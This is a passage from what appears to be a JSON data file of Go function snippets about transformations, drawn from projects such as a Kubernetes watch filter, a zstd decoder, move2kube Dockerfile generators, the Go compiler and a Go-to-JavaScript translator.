curObj,\\n\\t\\t}\\n\\tdefault:\\n\\t\\t// TODO: emit ADDED if the modified object causes it to actually pass the filter but the previous one did not\\n\\t\\tres = &watch.Event{\\n\\t\\t\\tType: watch.Modified,\\n\\t\\t\\tObject: curObj,\\n\\t\\t}\\n\\t}\\n\\treturn res\\n}\",\n \"func (s *Stream) Transform(op api.UnOperation) *Stream {\\n\\toperator := unary.New(s.ctx)\\n\\toperator.SetOperation(op)\\n\\ts.ops = append(s.ops, operator)\\n\\treturn s\\n}\",\n \"func Transformation(r io.Reader) (transform.Transformation, error) {\\n\\tvar t transform.Transformation\\n\\tscanner := bufio.NewScanner(r)\\n\\tfor scanner.Scan() {\\n\\t\\tname, args, err := split(scanner.Text())\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tvar nt transform.Transformation\\n\\t\\tswitch name {\\n\\t\\tcase \\\"NoTransformation\\\":\\n\\t\\t\\tnt, err = noTransformation(args)\\n\\t\\tcase \\\"LineReflection\\\":\\n\\t\\t\\tnt, err = lineReflection(args)\\n\\t\\tcase \\\"Translation\\\":\\n\\t\\t\\tnt, err = translation(args)\\n\\t\\tcase \\\"Rotation\\\":\\n\\t\\t\\tnt, err = rotation(args)\\n\\t\\tcase \\\"GlideReflection\\\":\\n\\t\\t\\tnt, err = glideReflection(args)\\n\\t\\t}\\n\\t\\tif nt == nil {\\n\\t\\t\\treturn nil, ErrBadTransformation\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tt = transform.Compose(t, nt)\\n\\t}\\n\\tif scanner.Err() != nil {\\n\\t\\treturn nil, scanner.Err()\\n\\t}\\n\\treturn t, nil\\n}\",\n \"func (s *fseDecoder) transform(t []baseOffset) error {\\n\\ttableSize := uint16(1 << s.actualTableLog)\\n\\ts.maxBits = 0\\n\\tfor i, v := range s.dt[:tableSize] {\\n\\t\\tadd := v.addBits()\\n\\t\\tif int(add) >= len(t) {\\n\\t\\t\\treturn fmt.Errorf(\\\"invalid decoding table entry %d, symbol %d >= max (%d)\\\", i, v.addBits(), len(t))\\n\\t\\t}\\n\\t\\tlu := t[add]\\n\\t\\tif lu.addBits > s.maxBits {\\n\\t\\t\\ts.maxBits = lu.addBits\\n\\t\\t}\\n\\t\\tv.setExt(lu.addBits, lu.baseLine)\\n\\t\\ts.dt[i] = v\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r *Repository) Transform(from, to int) Func {\\n\\treturn Transform(r.Code(from), r.Code(to))\\n}\",\n \"func ApplyTransform(s beam.Scope, input beam.PCollection) beam.PCollection {\\n\\treturn beam.ParDo(s, func(element Commit) (beam.EventTime, Commit) {\\n\\t\\treturn mtime.FromTime(element.Datetime), element\\n\\t}, input)\\n}\",\n \"func (t *GolangDockerfileGenerator) Transform(newArtifacts []transformertypes.Artifact, oldArtifacts []transformertypes.Artifact) ([]transformertypes.PathMapping, []transformertypes.Artifact, error) {\\n\\tpathMappings := []transformertypes.PathMapping{}\\n\\tartifactsCreated := []transformertypes.Artifact{}\\n\\tfor _, a := range newArtifacts {\\n\\t\\tif a.Artifact != artifacts.ServiceArtifactType {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\trelSrcPath, err := filepath.Rel(t.Env.GetEnvironmentSource(), a.Paths[artifacts.ProjectPathPathType][0])\\n\\t\\tif err != nil {\\n\\t\\t\\tlogrus.Errorf(\\\"Unable to convert source path %s to be relative : %s\\\", a.Paths[artifacts.ProjectPathPathType][0], err)\\n\\t\\t}\\n\\t\\tvar sConfig artifacts.ServiceConfig\\n\\t\\terr = a.GetConfig(artifacts.ServiceConfigType, &sConfig)\\n\\t\\tif err != nil {\\n\\t\\t\\tlogrus.Errorf(\\\"unable to load config for Transformer into %T : %s\\\", sConfig, err)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tsImageName := artifacts.ImageName{}\\n\\t\\terr = a.GetConfig(artifacts.ImageNameConfigType, &sImageName)\\n\\t\\tif err != nil {\\n\\t\\t\\tlogrus.Debugf(\\\"unable to load config for Transformer into %T : %s\\\", sImageName, err)\\n\\t\\t}\\n\\t\\tdata, err := ioutil.ReadFile(a.Paths[GolangModFilePathType][0])\\n\\t\\tif err != nil {\\n\\t\\t\\tlogrus.Errorf(\\\"Error while reading the go.mod file : %s\\\", err)\\n\\t\\t\\treturn nil, nil, nil\\n\\t\\t}\\n\\t\\tmodFile, err := modfile.Parse(a.Paths[GolangModFilePathType][0], data, nil)\\n\\t\\tif err != nil {\\n\\t\\t\\tlogrus.Errorf(\\\"Error while parsing the go.mod file : %s\\\", err)\\n\\t\\t\\treturn nil, nil, nil\\n\\t\\t}\\n\\t\\tif modFile.Go == nil {\\n\\t\\t\\tlogrus.Debugf(\\\"Didn't find the Go version in the go.mod file at path %s, selecting Go version %s\\\", a.Paths[GolangModFilePathType][0], t.GolangConfig.DefaultGoVersion)\\n\\t\\t\\tmodFile.Go.Version = t.GolangConfig.DefaultGoVersion\\n\\t\\t}\\n\\t\\tvar detectedPorts []int32\\n\\t\\tdetectedPorts = append(detectedPorts, 8080) //TODO: Write parser to parse and identify port\\n\\t\\tdetectedPorts = commonqa.GetPortsForService(detectedPorts, a.Name)\\n\\t\\tvar golangConfig GolangTemplateConfig\\n\\t\\tgolangConfig.AppName = a.Name\\n\\t\\tgolangConfig.Ports = detectedPorts\\n\\t\\tgolangConfig.GoVersion = modFile.Go.Version\\n\\n\\t\\tif sImageName.ImageName == \\\"\\\" {\\n\\t\\t\\tsImageName.ImageName = common.MakeStringContainerImageNameCompliant(sConfig.ServiceName)\\n\\t\\t}\\n\\t\\tpathMappings = append(pathMappings, transformertypes.PathMapping{\\n\\t\\t\\tType: transformertypes.SourcePathMappingType,\\n\\t\\t\\tDestPath: common.DefaultSourceDir,\\n\\t\\t}, transformertypes.PathMapping{\\n\\t\\t\\tType: transformertypes.TemplatePathMappingType,\\n\\t\\t\\tSrcPath: filepath.Join(t.Env.Context, t.Config.Spec.TemplatesDir),\\n\\t\\t\\tDestPath: filepath.Join(common.DefaultSourceDir, relSrcPath),\\n\\t\\t\\tTemplateConfig: golangConfig,\\n\\t\\t})\\n\\t\\tpaths := a.Paths\\n\\t\\tpaths[artifacts.DockerfilePathType] = []string{filepath.Join(common.DefaultSourceDir, relSrcPath, \\\"Dockerfile\\\")}\\n\\t\\tp := transformertypes.Artifact{\\n\\t\\t\\tName: sImageName.ImageName,\\n\\t\\t\\tArtifact: artifacts.DockerfileArtifactType,\\n\\t\\t\\tPaths: paths,\\n\\t\\t\\tConfigs: map[string]interface{}{\\n\\t\\t\\t\\tartifacts.ImageNameConfigType: sImageName,\\n\\t\\t\\t},\\n\\t\\t}\\n\\t\\tdfs := transformertypes.Artifact{\\n\\t\\t\\tName: sConfig.ServiceName,\\n\\t\\t\\tArtifact: artifacts.DockerfileForServiceArtifactType,\\n\\t\\t\\tPaths: a.Paths,\\n\\t\\t\\tConfigs: map[string]interface{}{\\n\\t\\t\\t\\tartifacts.ImageNameConfigType: sImageName,\\n\\t\\t\\t\\tartifacts.ServiceConfigType: sConfig,\\n\\t\\t\\t},\\n\\t\\t}\\n\\t\\tartifactsCreated = append(artifactsCreated, p, dfs)\\n\\t}\\n\\treturn pathMappings, artifactsCreated, nil\\n}\",\n \"func (t *JarAnalyser) Transform(newArtifacts []transformertypes.Artifact, oldArtifacts []transformertypes.Artifact) ([]transformertypes.PathMapping, []transformertypes.Artifact, error) {\\n\\tpathMappings := []transformertypes.PathMapping{}\\n\\tcreatedArtifacts := []transformertypes.Artifact{}\\n\\tfor _, a := range newArtifacts {\\n\\t\\tvar sConfig artifacts.ServiceConfig\\n\\t\\terr := a.GetConfig(artifacts.ServiceConfigType, &sConfig)\\n\\t\\tif err != nil {\\n\\t\\t\\tlogrus.Errorf(\\\"unable to load config for Transformer into %T : %s\\\", sConfig, err)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tsImageName := artifacts.ImageName{}\\n\\t\\terr = a.GetConfig(artifacts.ImageNameConfigType, &sImageName)\\n\\t\\tif err != nil {\\n\\t\\t\\tlogrus.Debugf(\\\"unable to load config for Transformer into %T : %s\\\", sImageName, err)\\n\\t\\t}\\n\\t\\trelSrcPath, err := filepath.Rel(t.Env.GetEnvironmentSource(), a.Paths[artifacts.ProjectPathPathType][0])\\n\\t\\tif err != nil {\\n\\t\\t\\tlogrus.Errorf(\\\"Unable to convert source path %s to be relative : %s\\\", a.Paths[artifacts.ProjectPathPathType][0], err)\\n\\t\\t}\\n\\t\\tjarRunDockerfile, err := ioutil.ReadFile(filepath.Join(t.Env.GetEnvironmentContext(), t.Env.RelTemplatesDir, \\\"Dockerfile.embedded\\\"))\\n\\t\\tif err != nil {\\n\\t\\t\\tlogrus.Errorf(\\\"Unable to read Dockerfile embedded template : %s\\\", err)\\n\\t\\t}\\n\\t\\tdockerfileBuildDockerfile := a.Paths[artifacts.BuildContainerFileType][0]\\n\\t\\tbuildDockerfile, err := ioutil.ReadFile(dockerfileBuildDockerfile)\\n\\t\\tif err != nil {\\n\\t\\t\\tlogrus.Errorf(\\\"Unable to read build Dockerfile template : %s\\\", err)\\n\\t\\t}\\n\\t\\ttempDir := filepath.Join(t.Env.TempPath, a.Name)\\n\\t\\tos.MkdirAll(tempDir, common.DefaultDirectoryPermission)\\n\\t\\tdockerfileTemplate := filepath.Join(tempDir, \\\"Dockerfile\\\")\\n\\t\\ttemplate := string(buildDockerfile) + \\\"\\\\n\\\" + string(jarRunDockerfile)\\n\\t\\terr = ioutil.WriteFile(dockerfileTemplate, []byte(template), common.DefaultFilePermission)\\n\\t\\tif err != nil {\\n\\t\\t\\tlogrus.Errorf(\\\"Could not write the generated Build Dockerfile template: %s\\\", err)\\n\\t\\t}\\n\\t\\tjarArtifactConfig := artifacts.JarArtifactConfig{}\\n\\t\\terr = a.GetConfig(artifacts.JarConfigType, &jarArtifactConfig)\\n\\t\\tif err != nil {\\n\\t\\t\\tlogrus.Debugf(\\\"unable to load config for Transformer into %T : %s\\\", jarArtifactConfig, err)\\n\\t\\t}\\n\\t\\tif jarArtifactConfig.JavaVersion == \\\"\\\" {\\n\\t\\t\\tjarArtifactConfig.JavaVersion = t.JarConfig.JavaVersion\\n\\t\\t}\\n\\t\\tjavaPackage, err := getJavaPackage(filepath.Join(t.Env.GetEnvironmentContext(), \\\"mappings/javapackageversions.yaml\\\"), jarArtifactConfig.JavaVersion)\\n\\t\\tif err != nil {\\n\\t\\t\\tlogrus.Errorf(\\\"Unable to find mapping version for java version %s : %s\\\", jarArtifactConfig.JavaVersion, err)\\n\\t\\t\\tjavaPackage = \\\"java-1.8.0-openjdk-devel\\\"\\n\\t\\t}\\n\\t\\tpathMappings = append(pathMappings, transformertypes.PathMapping{\\n\\t\\t\\tType: transformertypes.SourcePathMappingType,\\n\\t\\t\\tDestPath: common.DefaultSourceDir,\\n\\t\\t}, transformertypes.PathMapping{\\n\\t\\t\\tType: transformertypes.TemplatePathMappingType,\\n\\t\\t\\tSrcPath: dockerfileTemplate,\\n\\t\\t\\tDestPath: filepath.Join(common.DefaultSourceDir, relSrcPath),\\n\\t\\t\\tTemplateConfig: JarDockerfileTemplate{\\n\\t\\t\\t\\tJavaVersion: jarArtifactConfig.JavaVersion,\\n\\t\\t\\t\\tJavaPackageName: javaPackage,\\n\\t\\t\\t\\tDeploymentFile: jarArtifactConfig.DeploymentFile,\\n\\t\\t\\t\\tDeploymentFileDir: jarArtifactConfig.DeploymentFileDir,\\n\\t\\t\\t\\tPort: \\\"8080\\\",\\n\\t\\t\\t\\tPortConfigureEnvName: \\\"SERVER_PORT\\\",\\n\\t\\t\\t\\tEnvVariables: jarArtifactConfig.EnvVariables,\\n\\t\\t\\t},\\n\\t\\t})\\n\\t\\tpaths := a.Paths\\n\\t\\tpaths[artifacts.DockerfilePathType] = []string{filepath.Join(common.DefaultSourceDir, relSrcPath, \\\"Dockerfile\\\")}\\n\\t\\tp := transformertypes.Artifact{\\n\\t\\t\\tName: sImageName.ImageName,\\n\\t\\t\\tArtifact: artifacts.DockerfileArtifactType,\\n\\t\\t\\tPaths: paths,\\n\\t\\t\\tConfigs: map[string]interface{}{\\n\\t\\t\\t\\tartifacts.ImageNameConfigType: sImageName,\\n\\t\\t\\t},\\n\\t\\t}\\n\\t\\tdfs := transformertypes.Artifact{\\n\\t\\t\\tName: sConfig.ServiceName,\\n\\t\\t\\tArtifact: artifacts.DockerfileForServiceArtifactType,\\n\\t\\t\\tPaths: a.Paths,\\n\\t\\t\\tConfigs: map[string]interface{}{\\n\\t\\t\\t\\tartifacts.ImageNameConfigType: sImageName,\\n\\t\\t\\t\\tartifacts.ServiceConfigType: sConfig,\\n\\t\\t\\t},\\n\\t\\t}\\n\\t\\tcreatedArtifacts = append(createdArtifacts, p, dfs)\\n\\t}\\n\\treturn pathMappings, createdArtifacts, nil\\n}\",\n \"func (coll *FeatureCollection) Transform(t Transformer) {\\n\\tfor _, feat := range *coll {\\n\\t\\tfeat.Transform(t)\\n\\t}\\n}\",\n \"func (e *With32FieldsFeatureTransformer) TransformInplace(dst []float64, s *With32Fields) {\\n\\tif s == nil || e == nil || len(dst) != e.NumFeatures() {\\n\\t\\treturn\\n\\t}\\n\\tidx := 0\\n\\n\\tdst[idx] = e.Name1.Transform(float64(s.Name1))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name2.Transform(float64(s.Name2))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name3.Transform(float64(s.Name3))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name4.Transform(float64(s.Name4))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name5.Transform(float64(s.Name5))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name6.Transform(float64(s.Name6))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name7.Transform(float64(s.Name7))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name8.Transform(float64(s.Name8))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name9.Transform(float64(s.Name9))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name10.Transform(float64(s.Name10))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name11.Transform(float64(s.Name11))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name12.Transform(float64(s.Name12))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name13.Transform(float64(s.Name13))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name14.Transform(float64(s.Name14))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name15.Transform(float64(s.Name15))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name16.Transform(float64(s.Name16))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name17.Transform(float64(s.Name17))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name18.Transform(float64(s.Name18))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name19.Transform(float64(s.Name19))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name21.Transform(float64(s.Name21))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name22.Transform(float64(s.Name22))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name23.Transform(float64(s.Name23))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name24.Transform(float64(s.Name24))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name25.Transform(float64(s.Name25))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name26.Transform(float64(s.Name26))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name27.Transform(float64(s.Name27))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name28.Transform(float64(s.Name28))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name29.Transform(float64(s.Name29))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name30.Transform(float64(s.Name30))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name31.Transform(float64(s.Name31))\\n\\tidx++\\n\\n\\tdst[idx] = e.Name32.Transform(float64(s.Name32))\\n\\tidx++\\n\\n}\",\n \"func Transform(t Text, transformer string) Text {\\n\\tf := FindTransformer(transformer)\\n\\tif f == nil {\\n\\t\\treturn t\\n\\t}\\n\\tt = t.Clone()\\n\\tfor _, seg := range t {\\n\\t\\tf(seg)\\n\\t}\\n\\treturn t\\n}\",\n \"func transformPlugin(dst *engine.Step, src *yaml.Container, _ *config.Config) {\\n\\tif dst.Environment == nil {\\n\\t\\tdst.Environment = map[string]string{}\\n\\t}\\n\\tparamsToEnv(src.Vargs, dst.Environment)\\n}\",\n \"func (s *BaseSyslParserListener) EnterTransform(ctx *TransformContext) {}\",\n \"func (e RegistriesExtraction) Transform() (Output, error) {\\n\\tlogrus.Info(\\\"RegistriesTransform::Extraction\\\")\\n\\tvar manifests []Manifest\\n\\n\\tconst (\\n\\t\\tapiVersion = \\\"config.openshift.io/v1\\\"\\n\\t\\tkind = \\\"Image\\\"\\n\\t\\tname = \\\"cluster\\\"\\n\\t\\tannokey = \\\"release.openshift.io/create-only\\\"\\n\\t\\tannoval = \\\"true\\\"\\n\\t)\\n\\n\\tvar imageCR ImageCR\\n\\timageCR.APIVersion = apiVersion\\n\\timageCR.Kind = kind\\n\\timageCR.Metadata.Name = name\\n\\timageCR.Metadata.Annotations = make(map[string]string)\\n\\timageCR.Metadata.Annotations[annokey] = annoval\\n\\timageCR.Spec.RegistrySources.BlockedRegistries = e.Registries[\\\"block\\\"].List\\n\\timageCR.Spec.RegistrySources.InsecureRegistries = e.Registries[\\\"insecure\\\"].List\\n\\n\\timageCRYAML, err := yaml.Marshal(&imageCR)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tmanifest := Manifest{Name: \\\"100_CPMA-cluster-config-registries.yaml\\\", CRD: imageCRYAML}\\n\\tmanifests = append(manifests, manifest)\\n\\n\\treturn ManifestOutput{\\n\\t\\tManifests: manifests,\\n\\t}, nil\\n}\",\n \"func transformIndex(n *ir.IndexExpr) {\\n\\tassert(n.Type() != nil && n.Typecheck() == 1)\\n\\tn.X = implicitstar(n.X)\\n\\tl := n.X\\n\\tt := l.Type()\\n\\tif t.Kind() == types.TMAP {\\n\\t\\tn.Index = assignconvfn(n.Index, t.Key())\\n\\t\\tn.SetOp(ir.OINDEXMAP)\\n\\t\\t// Set type to just the map value, not (value, bool). This is\\n\\t\\t// different from types2, but fits the later stages of the\\n\\t\\t// compiler better.\\n\\t\\tn.SetType(t.Elem())\\n\\t\\tn.Assigned = false\\n\\t}\\n}\",\n \"func (rv *RefVarTransformer) Transform(m resmap.ResMap) error {\\n\\trv.replacementCounts = make(map[string]int)\\n\\trv.mappingFunc = expansion.MappingFuncFor(\\n\\t\\trv.replacementCounts, rv.varMap)\\n\\tfor id, res := range m {\\n\\t\\tfor _, fieldSpec := range rv.fieldSpecs {\\n\\t\\t\\tif id.Gvk().IsSelected(&fieldSpec.Gvk) {\\n\\t\\t\\t\\tif err := mutateField(\\n\\t\\t\\t\\t\\tres.Map(), fieldSpec.PathSlice(),\\n\\t\\t\\t\\t\\tfalse, rv.replaceVars); err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (ss Set) Transform(fn func(string) string) {\\n\\tfor k, v := range ss {\\n\\t\\tnk := fn(k)\\n\\t\\tif nk != k {\\n\\t\\t\\tdelete(ss, k)\\n\\t\\t\\tss[nk] = v\\n\\t\\t}\\n\\t}\\n}\",\n \"func Transform(deployment *appsv1.Deployment) *appsv1.Deployment {\\n\\treturn &appsv1.Deployment{\\n\\t\\tObjectMeta: metadata.TransformObjectMeta(deployment.ObjectMeta),\\n\\t\\tSpec: appsv1.DeploymentSpec{\\n\\t\\t\\tReplicas: deployment.Spec.Replicas,\\n\\t\\t},\\n\\t\\tStatus: appsv1.DeploymentStatus{\\n\\t\\t\\tAvailableReplicas: deployment.Status.AvailableReplicas,\\n\\t\\t},\\n\\t}\\n}\",\n \"func transformArgs(n ir.InitNode) {\\n\\tvar list []ir.Node\\n\\tswitch n := n.(type) {\\n\\tdefault:\\n\\t\\tbase.Fatalf(\\\"transformArgs %+v\\\", n.Op())\\n\\tcase *ir.CallExpr:\\n\\t\\tlist = n.Args\\n\\t\\tif n.IsDDD {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\tcase *ir.ReturnStmt:\\n\\t\\tlist = n.Results\\n\\t}\\n\\tif len(list) != 1 {\\n\\t\\treturn\\n\\t}\\n\\n\\tt := list[0].Type()\\n\\tif t == nil || !t.IsFuncArgStruct() {\\n\\t\\treturn\\n\\t}\\n\\n\\t// Save n as n.Orig for fmt.go.\\n\\tif ir.Orig(n) == n {\\n\\t\\tn.(ir.OrigNode).SetOrig(ir.SepCopy(n))\\n\\t}\\n\\n\\t// Rewrite f(g()) into t1, t2, ... = g(); f(t1, t2, ...).\\n\\ttypecheck.RewriteMultiValueCall(n, list[0])\\n}\",\n \"func (EditMultisigResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\\n\\tdata := txData.(*transaction.EditMultisigData)\\n\\n\\tresource := EditMultisigResource{\\n\\t\\tAddresses: data.Addresses,\\n\\t\\tThreshold: strconv.Itoa(int(data.Threshold)),\\n\\t}\\n\\n\\tresource.Weights = make([]string, 0, len(data.Weights))\\n\\tfor _, weight := range data.Weights {\\n\\t\\tresource.Weights = append(resource.Weights, strconv.Itoa(int(weight)))\\n\\t}\\n\\n\\treturn resource\\n}\",\n \"func (t *Transformer) Transform(logRecord *InputRecord, recType string, tzShiftMin int, anonymousUsers []int) (*OutputRecord, error) {\\n\\tuserID := -1\\n\\n\\tr := &OutputRecord{\\n\\t\\tType: recType,\\n\\t\\ttime: logRecord.GetTime(),\\n\\t\\tDatetime: logRecord.GetTime().Add(time.Minute * time.Duration(tzShiftMin)).Format(time.RFC3339),\\n\\t\\tIPAddress: logRecord.Request.RemoteAddr,\\n\\t\\tUserAgent: logRecord.Request.HTTPUserAgent,\\n\\t\\tIsAnonymous: userID == -1 || conversion.UserBelongsToList(userID, anonymousUsers),\\n\\t\\tIsQuery: false,\\n\\t\\tUserID: strconv.Itoa(userID),\\n\\t\\tAction: logRecord.Action,\\n\\t\\tPath: logRecord.Path,\\n\\t\\tProcTime: logRecord.ProcTime,\\n\\t\\tParams: logRecord.Params,\\n\\t}\\n\\tr.ID = createID(r)\\n\\tif t.prevReqs.ContainsSimilar(r) && r.Action == \\\"overlay\\\" ||\\n\\t\\t!t.prevReqs.ContainsSimilar(r) && r.Action == \\\"text\\\" {\\n\\t\\tr.IsQuery = true\\n\\t}\\n\\tt.prevReqs.AddItem(r)\\n\\treturn r, nil\\n}\",\n \"func TransformException(ex *Exception, store *SourceMapStore) *Exception {\\n\\tif ex.Stacktrace == nil {\\n\\t\\treturn ex\\n\\t}\\n\\tframes := []Frame{}\\n\\n\\tfor _, frame := range ex.Stacktrace.Frames {\\n\\t\\tframe := frame\\n\\t\\tmappedFrame, err := store.resolveSourceLocation(frame)\\n\\t\\tif err != nil {\\n\\t\\t\\tframes = append(frames, frame)\\n\\t\\t} else if mappedFrame != nil {\\n\\t\\t\\tframes = append(frames, *mappedFrame)\\n\\t\\t} else {\\n\\t\\t\\tframes = append(frames, frame)\\n\\t\\t}\\n\\t}\\n\\n\\treturn &Exception{\\n\\t\\tType: ex.Type,\\n\\t\\tValue: ex.Value,\\n\\t\\tStacktrace: &Stacktrace{Frames: frames},\\n\\t\\tTimestamp: ex.Timestamp,\\n\\t}\\n}\",\n \"func (r *RemoveLabels) Transform(mfs []*dto.MetricFamily) []*dto.MetricFamily {\\n\\tfor i := range mfs {\\n\\t\\tfor j, m := range mfs[i].Metric {\\n\\t\\t\\t// Filter out labels\\n\\t\\t\\tlabels := m.Label[:0]\\n\\t\\t\\tfor _, l := range m.Label {\\n\\t\\t\\t\\tif _, ok := r.Labels[l.GetName()]; !ok {\\n\\t\\t\\t\\t\\tlabels = append(labels, l)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tmfs[i].Metric[j].Label = labels\\n\\t\\t}\\n\\t}\\n\\treturn mfs\\n}\",\n \"func (e *expression) transform(expr ast.Expr) {\\n\\tswitch typ := expr.(type) {\\n\\n\\t// godoc go/ast ArrayType\\n\\t// Lbrack token.Pos // position of \\\"[\\\"\\n\\t// Len Expr // Ellipsis node for [...]T array types, nil for slice types\\n\\t// Elt Expr // element type\\n\\tcase *ast.ArrayType:\\n\\t\\t// Type checking\\n\\t\\tif _, ok := typ.Elt.(*ast.Ident); ok {\\n\\t\\t\\tif e.tr.getExpression(typ.Elt).hasError {\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif typ.Len == nil { // slice\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tif _, ok := typ.Len.(*ast.Ellipsis); ok {\\n\\t\\t\\te.isEllipsis = true\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\n\\t\\tif len(e.lenArray) != 0 {\\n\\t\\t\\te.writeLoop()\\n\\t\\t\\te.WriteString(fmt.Sprintf(\\\"{%s%s=\\\", SP+e.varName, e.printArray()))\\n\\t\\t}\\n\\t\\te.WriteString(\\\"[]\\\")\\n\\t\\te.addLenArray(typ.Len)\\n\\n\\t\\tswitch t := typ.Elt.(type) {\\n\\t\\tcase *ast.ArrayType: // multi-dimensional array\\n\\t\\t\\te.transform(typ.Elt)\\n\\t\\tcase *ast.Ident, *ast.StarExpr: // the type is initialized\\n\\t\\t\\tzero, _ := e.tr.zeroValue(true, typ.Elt)\\n\\n\\t\\t\\te.writeLoop()\\n\\t\\t\\te.WriteString(fmt.Sprintf(\\\"{%s=%s;%s}\\\",\\n\\t\\t\\t\\tSP+e.tr.lastVarName+e.printArray(), zero, SP))\\n\\n\\t\\t\\tif len(e.lenArray) > 1 {\\n\\t\\t\\t\\te.WriteString(strings.Repeat(\\\"}\\\", len(e.lenArray)-1))\\n\\t\\t\\t}\\n\\t\\tdefault:\\n\\t\\t\\tpanic(fmt.Sprintf(\\\"*expression.transform: type unimplemented: %T\\\", t))\\n\\t\\t}\\n\\t\\te.skipSemicolon = true\\n\\n\\t// godoc go/ast BasicLit\\n\\t// Kind token.Token // token.INT, token.FLOAT, token.IMAG, token.CHAR, or token.STRING\\n\\t// Value string // literal string\\n\\tcase *ast.BasicLit:\\n\\t\\te.WriteString(typ.Value)\\n\\t\\te.isBasicLit = true\\n\\n\\t// http://golang.org/doc/go_spec.html#Comparison_operators\\n\\t// https://developer.mozilla.org/en/JavaScript/Reference/Operators/Comparison_Operators\\n\\t//\\n\\t// godoc go/ast BinaryExpr\\n\\t// X Expr // left operand\\n\\t// Op token.Token // operator\\n\\t// Y Expr // right operand\\n\\tcase *ast.BinaryExpr:\\n\\t\\tisComparing := false\\n\\t\\tisOpNot := false\\n\\t\\top := typ.Op.String()\\n\\n\\t\\tswitch typ.Op {\\n\\t\\tcase token.NEQ:\\n\\t\\t\\tisOpNot = true\\n\\t\\t\\tfallthrough\\n\\t\\tcase token.EQL:\\n\\t\\t\\top += \\\"=\\\"\\n\\t\\t\\tisComparing = true\\n\\t\\t}\\n\\n\\t\\tif e.tr.isConst {\\n\\t\\t\\te.transform(typ.X)\\n\\t\\t\\te.WriteString(SP + op + SP)\\n\\t\\t\\te.transform(typ.Y)\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\n\\t\\t// * * *\\n\\t\\tx := e.tr.getExpression(typ.X)\\n\\t\\ty := e.tr.getExpression(typ.Y)\\n\\n\\t\\tif isComparing {\\n\\t\\t\\txStr := stripField(x.String())\\n\\t\\t\\tyStr := stripField(y.String())\\n\\n\\t\\t\\tif y.isNil && e.tr.isType(sliceType, xStr) {\\n\\t\\t\\t\\tif isOpNot {\\n\\t\\t\\t\\t\\te.WriteString(\\\"!\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\te.WriteString(xStr + \\\".isNil()\\\")\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t\\tif x.isNil && e.tr.isType(sliceType, yStr) {\\n\\t\\t\\t\\tif isOpNot {\\n\\t\\t\\t\\t\\te.WriteString(\\\"!\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\te.WriteString(yStr + \\\".isNil()\\\")\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\t// * * *\\n\\t\\tstringify := false\\n\\n\\t\\t// JavaScript only compares basic literals.\\n\\t\\tif isComparing && !x.isBasicLit && !x.returnBasicLit && !y.isBasicLit && !y.returnBasicLit {\\n\\t\\t\\tstringify = true\\n\\t\\t}\\n\\n\\t\\tif stringify {\\n\\t\\t\\te.WriteString(\\\"JSON.stringify(\\\" + x.String() + \\\")\\\")\\n\\t\\t} else {\\n\\t\\t\\te.WriteString(x.String())\\n\\t\\t}\\n\\t\\t// To know when a pointer is compared with the value nil.\\n\\t\\tif y.isNil && !x.isPointer && !x.isAddress {\\n\\t\\t\\te.WriteString(NIL)\\n\\t\\t}\\n\\n\\t\\te.WriteString(SP + op + SP)\\n\\n\\t\\tif stringify {\\n\\t\\t\\te.WriteString(\\\"JSON.stringify(\\\" + y.String() + \\\")\\\")\\n\\t\\t} else {\\n\\t\\t\\te.WriteString(y.String())\\n\\t\\t}\\n\\t\\tif x.isNil && !y.isPointer && !y.isAddress {\\n\\t\\t\\te.WriteString(NIL)\\n\\t\\t}\\n\\n\\t// godoc go/ast CallExpr\\n\\t// Fun Expr // function expression\\n\\t// Args []Expr // function arguments; or nil\\n\\tcase *ast.CallExpr:\\n\\t\\t// === Library\\n\\t\\tif call, ok := 